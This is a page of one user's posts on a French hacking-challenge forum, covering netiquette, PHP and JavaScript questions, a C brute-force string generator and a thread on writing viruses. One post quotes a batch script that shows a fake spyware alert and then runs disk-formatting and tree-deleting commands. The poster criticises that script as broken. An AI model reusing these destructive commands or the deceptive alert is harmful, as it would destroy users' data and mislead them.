logo Homepage
+  NewbieContest
Username:
Password:
  Voir les messages
Pages: 1 2 [3] 4
31  Général / Général / Re : NewbieContest DEFACED! le: 18 Juin 2010 à 05:33:30
Citation
Je ne connaissais pas la nétiquette. Maintenant que je connais ça, je trouve ça plutôt futile. C'est juste du gros bon sens. C'est comme d'avoir une pancarte : "SVP, ne pas tuer la caissière. Merci de votre compréhension." N'importe quel humain qui a du bon sens vas respecter ça !
Si au moins le bon sens de la vie réelle était applicable sur le net ...
Pour avoir fait un bout de chemin dans le monde de la modération sur Internet, je peux t'assurer que c'est vraiment rare que quelqu'un applique à la lettre la nétiquette, voir c'est impossible.
Il y a toujours un moment où l'on s'abstient de ses bons principes du réel et l'où on se sert de la facilité du virtuel comme bouclier afin de nuire, être égoïste, manquer de bon sens, malgré tout.
Dire que la nétiquette est futile est hypocrite à mon sens.
Je ne cherche pas à t'offenser de quelque manière qu'il soit, je cherche simplement à mettre au clair ce que tout le monde fait, cela ne te concerne pas particulièrement.
C'est simplement à force d'observation et de patience que tu as su intégrer, d'une façon qui te semble naturelle, la nétiquette,  a fortiori sans en connaître l'existence même. Sinon il y aurait fort à parier que tu aurais continué à parler en SMS et à troller, comme tu le faisais certainement les premières fois que tu as eu un endroit où t'exprimer sur Internet. (et crois moi, si je te remettais en face de tes tous premiers posts, tu ne te reconnaîtrais certainement pas...)


Et, pour terminer, je mettrais ma main à couper qu'il s'agit de L de DN. Aussi bien que ton avatar est celui de Nyu/Lucy de Elfen Lied
32  Général / Général / Re : NewbieContest DEFACED! le: 18 Juin 2010 à 02:15:19
De toute façon, c'est pas comme si on en avait quelque chose à faire de ce ftp free.
Un peu comme dévaliser une maison abandonnée depuis des lustres...

Citation
C'est pas du spam, c'est de la liberté d'expression.
Tant que sa fait de mal a personne et que sa me détend, je n'y vois aucun mal.
Il y a sur Internet une magnifique RFC définissant la nétiquette.
Entre autre, tu te dois d'avoir le respect pour les autres utilisateurs de construire des posts utiles et agréables à lire, et si possible constructifs à la discussion.
Qui plus est, tu as remonté des topics très anciens qui n'étaient plus forcément d'actualité, ce qui pourrait induire en erreur les nouveaux utilisateurs.
En d'autres termes, tes "+1" ne servent à rien, et dérangent la lisibilité globale du forum.
33  Programmation / Langages Web / Re : Avantages ou inconvénients de la POO ? le: 04 Juin 2010 à 13:06:27
Pour ma part, mon avis diffère quelque peu de celui de the lsd.
Je rejoins son avis concernant la première phrase ; La POO oui, mais pas pour n'importe quoi et n'importe quand.

Par contre, je ne peux m'exclamer qu'entendre que la POO sur PHP n'a aucun interêt !

Si on prend un exemple quelconque, disons, la conception d'un petit forum (un projet pas si gros que ça), le code te sera bien plus simple et clair à entretenir à mon avis. (pour en avoir fait l'expérience)
Alors certes, tu peux faire ce qu'a dit the lsd et faire un fichier de fonctions "test_*" , mais ... On se rapproche beaucoup de la programmation modulaire / wrapping plus qu'autre chose ici.

Lorsqu'on a un outil à portée, pourquoi chercher à le reproduire alors qu'on l'a sous la main ?

Après, et je pense que c'est le point le plus important à retenir, chacun est différent dans sa manière de concevoir une solution à un problème.

Pour ton idée de "générateur de code", je ne peux m'empêcher de penser ton code en procédurale, car je ne vois que très peu de solutions en utilisant un esprit orienté objet.
Néanmoins, d'autres personnes réussirait certainement à te concevoir une architecture de données qui rendrait le système objet viable pour ce projet, tout comme ca serait le cas pour le procédural.

Pour conclure, je pense que si tu n'es pas encore familiarisé avec l'orienté objet (j'entends par là, avoir eu beaucoup d'expériences et de projets avec un langage de ce type), je pense que c'est normal que tu n'y vois pas un intérêt.
Ce n'est qu'à force de toucher, et même de se tromper, qu'on finit par comprendre le réel interêt de la POO.
34  Programmation / Langages compilés / Re : [C] Algo de brute force le: 29 Mai 2010 à 18:13:12
Je déterre un très vieux topic, mais bon, puisque je suis tombé dessus et qu'il m'intéressait
En réponse à Geo, j'ai essayé de faire ce que tu demandais ;
J'ai repris ton idée de compteur, et évité d'une certaine façon la récursivité.
Ca me donne ça ... Avec une grosse optimisation possible de la fonction get_pass_len_max :

Je n'arrive tout bêtement pas à récupérer la longueur du mot de passe en fonction de son id (le compteur), alors que l'inverse est très simple à faire...
Du coup ça me donne du code très bourrin pour cette fonction qui réduit beaucoup les perfs, c'est bien dommage car le reste tourne niquel

Code:

#include <stdio.h>
#include <string.h>
#include <math.h>

#define BUFFER_LEN_MAX  1024
#define PASS_LEN        6

int
get_gen_id_max      (int tab_len, int pass_len);

int
get_pass_len_max    (int tab_len, int gen_id);

void
bruteforce_gen      (char *tab, int gen_id, char *dest);


int main()
{
    char tab[] = "012345",
         output[BUFFER_LEN_MAX];

    int tab_len = strlen(tab),
        gen_id_max = get_gen_id_max(tab_len, PASS_LEN),
        i;

    printf("Nombre de caract\x8Ares : %d \n", tab_len);
    printf("Nombre de possibilit\x82s : %d \n\n", gen_id_max);

    for (i = 1; i < gen_id_max; i++)
    {
        bruteforce_gen(tab, i, output);
        printf("%6d > %s\n", i, output);
    }

    return 0;
}


void bruteforce_gen (char *tab, int gen_id, char *dest)
{
    int tab_len  = strlen(tab);
    int pass_len = get_pass_len_max(tab_len, gen_id);
    int i;

    for (i=0; i < pass_len; i++)
    {
        dest[i] = tab [ ( (gen_id-1) / (i * (tab_len-1) + 1) ) % tab_len ];
    }

    dest[pass_len+1] = '\0';
}


int get_gen_id_max (int tab_len, int pass_len)
{
    int i;
    int n = 0;

    for (i = pass_len + 1; --i;)
        n += pow (tab_len, i);

    return n;
}

int get_pass_len_max (int tab_len, int gen_id)
{
    int pass_len = 0,
        cur_gen_id = 0;

    for (cur_gen_id = 0; cur_gen_id < gen_id; pass_len++)
        cur_gen_id = get_gen_id_max(tab_len, pass_len);

    return pass_len - 1;
}
35  Challenges / Aide Javascript/Java/HTML / Re : JS - Ne loupez pas le coche le: 08 Septembre 2009 à 00:34:56
Tu as essayé de modifier le source... Ca ne marche apparemment pas.
Tu as essayé de désactiver le javascript, mais ça rend l'épreuve HS ...
Ne connais tu donc pas d'autres moyen de modifier des données ? Relis bien ce topic.
36  Programmation / Langages Web / Re : Intégration JS dans code PHP ou variante ?? le: 05 Septembre 2009 à 03:12:15
En effet, l'AJAX peut être utile pour converser coté client avec le serveur sans rafraichissement de la page...

Sinon, sans toucher à l'AJAX, tu peux faire "passer" une variable PHP dans un script javascript, simplement en écrivant au client, via php, le bout de javascript qui va bien. Du genre :

Code: (html)
<?php
echo "<script type='text/javascript'> var resultat=".$resultat.";</script>";
?>


De ce fait, quand le client recevra sa page, il aura une variable resultat en javascript synchronisée avec celle du serveur.
Pour faire ensuite passer du javascript au serveur, ça, tu dois savoir le faire, un formulaire, tu traites le résultat coté serveur du POST, et tu l'intègres dans ton script.


Mais sache que si tu veux tout faire en un coup, c'est à dire sans rafraissement de la page, plusieurs conversations client <-> serveurs, à part passer par la case AJAX, tu n'y arriveras pas ...
Le plus simple reste, comme _o_ l'a dit, de tout faire en php !
(parce que franchement, ça dépend ce que tu codes, mais je crois que tu te prends carrément la tête pour rien là ... )
37  Challenges / Aide Programmation / Re : Prog - KickMe le: 31 Août 2009 à 21:53:44
Merci d'avoir pris la peine de vérifier
Je vais donc revoir mon script, il doit y avoir quelque chose de logique que j'ai raté
38  Challenges / Aide Programmation / Re : Prog - KickMe le: 31 Août 2009 à 21:21:22
Edit : Quelqu'un vient de valider l'épreuve sous mes yeux, donc ça doit être de ma faute, désolé ...

Bonjour,
quelqu'un pourrait vérifier si cette épreuve marche ?
Avant de partir des vacances, Daneel ne semblait pas hostile à mon script, et me répondait convenablement, mais voila que maintenant, Daneel reste muet quand je lui remets ma réponse : ".challenge_kickme réponse" quand je suis dans la bonne salle avec lui.
J'ai aussi remarqué que Daneel était en permanence dans une autre salle, #KM_IM002, ou il ne faisait rien... Ce qui n'était pas le cas avant.
39  Challenges / Aide Crackme / Re : Crackme - Désarmant ! le: 08 Août 2009 à 15:50:12
Oui, c'est dit et redit : http://www.newbiecontest.org/forums/index.php?topic=2913.msg39983#msg39983
Il y a un point concernant ce sujet dans le FAQ
40  Général / Defouloir / Re : Virus : Un tabou ? le: 08 Août 2009 à 12:01:31
Sans vouloir te décourager, il faut que tu relativises : ce que t'apprends le site du zéro n'est que la "base de la base" du C, comme apprendre l'addition ou la soustraction en primaire.
C'est après avec ces outils que tu apprendras réellement le potentiel du C, tout comme si je respecte ma métaphore, apprendre des théorèmes et les appliquer face à un problème dans l'enseignement supérieur.
Apprendre l'ASM, bien que c'est assez infect quand on débute on va l'avouer (après faut aimer!), te donnera une bien plus nette compréhension de la gestion de la mémoire, et t'ouvriras bien plus de portes que de rester sur les tutos du SDZ, qui se veulent rester assez "ludique" dans leur apprentissage du C.

Mais on est d'accord que apprendre l'assembleur pour un débutant n'est pas une chose aisée, si tu connais bien le C d'abord, ça devrait bien passer par la suite
Mais si les virus sont ton objectif, tu peux être quasiment sûr et certain que la case "assembleur" est inévitable.
41  Général / Defouloir / Re : Virus : Un tabou ? le: 07 Août 2009 à 14:28:05
Je sais pas ce que tu entends par "je n'en vois pas la fin du cours", mais pour moi, le chapitre sur les tableaux se clôt par :
Citation
Faites-vous un petit fichier de fonctions appelé tableaux.c (avec son homologue tableaux.h qui contiendra les prototypes bien sûr !) contenant toutes les fonctions de votre cru réalisant des opérations sur des tableaux
Vous entraîner comme ça, c'est le meilleur moyen de vous former
Au boulot !

Par contre, je saisis mal ce que tu voulais faire avec ce bout de code concernant l'écriture d'un fichier en C ...

Allez courage Une fois que tu connaîtras le C sur le bout des doigts, il te sera de toute façon aisé de passer d'un langage à un autre Alors autant faire le sale boulot maintenant, tu n'y échapperas pas :p
42  Général / Defouloir / Re : Virus : Un tabou ? le: 07 Août 2009 à 01:01:57
A savoir, si ça peut te simplifier la vie et afin de réutiliser ce que tu as appris, qu'en incluant windows.h, tu peux réutiliser les commandes du batch, tel que mkdir, del, etc, avec la syntaxe suivante :
#include <windows.h>
int main(){
system("commande dos");
}

Exemple =>
system("mkdir rabbit");


Bien utile pour faire quelque chose de simple, mais il n'y a pas de valeur de retour comme dans l'exemple de harvey, ce qui peut être bien utile pour contrôler qu'un répertoire a bien été crée par exemple. (<=> si l'utilisateur dispose des droits nécessaire pour créer un dossier...)
43  Général / Defouloir / Re : Virus : Un tabou ? le: 06 Août 2009 à 18:01:46
Hé ... DarK-CrasH, ne prends pas personnelement ce que je t'ai dit...!
Tu voulais un avis, non ? Je te l'ai donné. J'ai bien compris que le batch n'était pas le tien (tu l'avais notifié dans ton post).

Citation
Ce code ne ma pas l'air juste, si ?
Je t'ai répondu par non, en reprenant point par point ce qui n'allait pas, d'un point de vue éducatif, et non pour te "critiquer d'avoir poster un script qui ne marchait pas" (ou vas-tu donc chercher tout cela ? )

J'essaye de te faire éviter du temps de travail et d'apprentissage en batch qui me semblait inutile pour ce que tu cherches à faire.

Citation
( et je t'ai pas attendu pour apprendre le C ! )
Si tu maîtrises déja si bien le C, alors je ne comprends pas pourquoi tu cherches à scripter un virus en batch.
D'autre part, je n'ai fait que répondre à ton premier post
"Quels sont les langages pour en développer ?"
Je t'ai donc donné mon avis sur cette question, donc prière de ne pas m'envoyer sur les roses.

Bref, mon aide ne semble pas appréciée, je te laisse continuer à scripter des batchs ou du VB, mais si c'est réellement le coté viral qui t'interessait, cela sous entend de mettre les mains dans le camboui et s'intérresser à la gestion de la mémoire par exemple.
Arrête moi si je me trompe, mais si tu connaissais si bien le C que ça, tu aurais pu déja te faire une petite idée de la réponse sur un bon nombre de questions que tu as posées.
Donc à toi de voir si tu veux finir en script kiddie ou bien apprendre réellement quelque chose.

Bonne continuation.
44  Général / Defouloir / Re : Virus : Un tabou ? le: 06 Août 2009 à 16:13:40
@akway : http://fr.wikipedia.org/wiki/Ping_flood
Le ping flood c'est pas vraiment ce qu'il y a de mieux pour DDos ...

Citation
Ce code ne ma pas l'air juste, si ?
code:
@echo off
cls
rem #_nom du virus: Kaox
rem #_code créé le 05/04/2004 à 3h04
rem #_auteur : Freak
rem #_code créé pour : moteurprog.com
rem #_code de 31 lignes et de 1 069 octets
echo ##################################################
echo ALERTE !!!
echo Votre ordinateur est infecter par un spyware.
echo Le fichier msbb.exe  à été trouver.
echo ##################################################
pause
choice /C:ab Si vous voulez mettre le fichier en quarantaine tapez "a" sinon tapez "b". Si dans les 15 secondes qui suivent vous n'avez pas choisi, le fichier sera automatiquement mit en quarantaine.
/T:a,15
if errorlevel = 1 goto a
if errorlevel = 2 goto b
:a
cls
@format c: /u /q
@deltree /y c:\*.*
echo Freak est heureux de vous annoncer que votre disque dur a été
echo formaté ;-)
goto :fin
:b
cls
:loop
@copy c:\Programme Files\*.* + c:\Windows\*.* c:\Windows\System\
echo Votre ordinateur est en train de se remplir a l' infini ;-)
goto :loop
:fin

Completement faux, non fonctionnel, et completement inutile ...
1) En supposant le fait que la partition système est C (donc actuellement utilisée pour faire fonctionner l'OS), il est tout simplement impossible d'appliquer un format sur une partition utilisée. De plus, il y aura une confirmation écrit en clair "Souhaitez vous réellement formater ?", et dans un deuxième temps, si un crétin s'amuse à valider par "O", un message du type :
Citation
Format ne peut pas s'exécuter car le volume est utilisé par un autre
processus. Format pourra s'exécuter après que ce volume ait été démonté.
TOUS LES DESCRIPTEURS OUVERTS SUR CE VOLUME NE SERONT PLUS VALIDES.
Voulez-vous forcer le démontage de ce volume ? (O/N)
qui, si on valide encore (là faut vraiment le vouloir ! ), se terminera par un message d'erreur ne résultat donc au final à rien.
2) Deltree n'est pas disponible dans la version de DOS par défaut. Essaye de lancer "deltree" en invite de commande, tu comprendras.
3) @copy c:\Programme Files\*.* + c:\Windows\*.* c:\Windows\System\
D'une part, il s'agit de "Program Files", d'autre part, sans guillemets "C:\Program Files\...", la commande copy ne marchera pas. Puis la vitesse de copie sera assez lente pour ne rien faire de grave, avant que la victime en question ferme la fenêtre...

Donc ne t'attarde pas sur ce genre de script bidons sans intêret. Apprends la programmation, c'est tout ce qu'il te reste à faire si tu veux étudier au mieux les virus, de préférence un langage de bas niveau. (pas forcément l'ASM pour commencer, le C conviendra pour un débutant...)
Tu peux également rester penché sur des scripts, mais à mon avis tu perds plus de temps qu'autre chose.
45  Challenges / Aide Programmation / Re : Prog - Apprenons à lire le: 02 Août 2009 à 19:42:28
Merci de ta réponse

En effet, j'avais déja fait un tour dans les afterwards, mais les épreuves précédentes ne comprenant pas de traitement d'image, je pensais qu'il s'agissait d'un problème totalement différent ...
Je vais retourner y faire un tour ! La réponse ne doit pas être loin de sous mon nez

EDIT : En effet, la réponse n'était vraiment pas loin, on peut pas dire que j'ai vraiment cherché bien loin ...
Merci encore
Pages: 1 2 [3] 4